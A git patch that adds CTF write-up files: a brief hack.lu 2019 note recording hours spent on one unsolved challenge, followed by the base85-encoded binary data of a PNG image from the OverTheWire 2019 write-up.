From c585b27a76fe6494431493cd3df758daeb77bb41 Mon Sep 17 00:00:00 2001 From: Lukas Anzinger Date: Fri, 27 Dec 2019 07:49:03 +0100 Subject: [PATCH] Add writeups. --- writeups/superwayne/hacklu2019.md | 9 + writeups/superwayne/otw2019/naughtylist.png | Bin 0 -> 171761 bytes writeups/superwayne/otw2019/runes.png | Bin 0 -> 769 bytes writeups/superwayne/otw2019/vm-chal.py | 184 +++ writeups/superwayne/overthewire2019.md | 1130 +++++++++++++++++++ 5 files changed, 1323 insertions(+) create mode 100644 writeups/superwayne/hacklu2019.md create mode 100644 writeups/superwayne/otw2019/naughtylist.png create mode 100644 writeups/superwayne/otw2019/runes.png create mode 100644 writeups/superwayne/otw2019/vm-chal.py create mode 100644 writeups/superwayne/overthewire2019.md diff --git a/writeups/superwayne/hacklu2019.md b/writeups/superwayne/hacklu2019.md new file mode 100644 index 0000000..a7d460f --- /dev/null +++ b/writeups/superwayne/hacklu2019.md @@ -0,0 +1,9 @@ +# hack.lu CTF 2019 + +I participated on-site to this CTF, therefore no write-up is necessary. However, for +reference, I document the number of hours I spent on the CTF. + +## numtoonce + +I spent rather intense 20 hours on this challenge, unfortunately I did not succeed in +finding the vulnerability/the flag. diff --git a/writeups/superwayne/otw2019/naughtylist.png b/writeups/superwayne/otw2019/naughtylist.png new file mode 100644 index 0000000000000000000000000000000000000000..b5e13e7b95d2d57a66febe67d3a160d001b2d472 GIT binary patch literal 171761 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 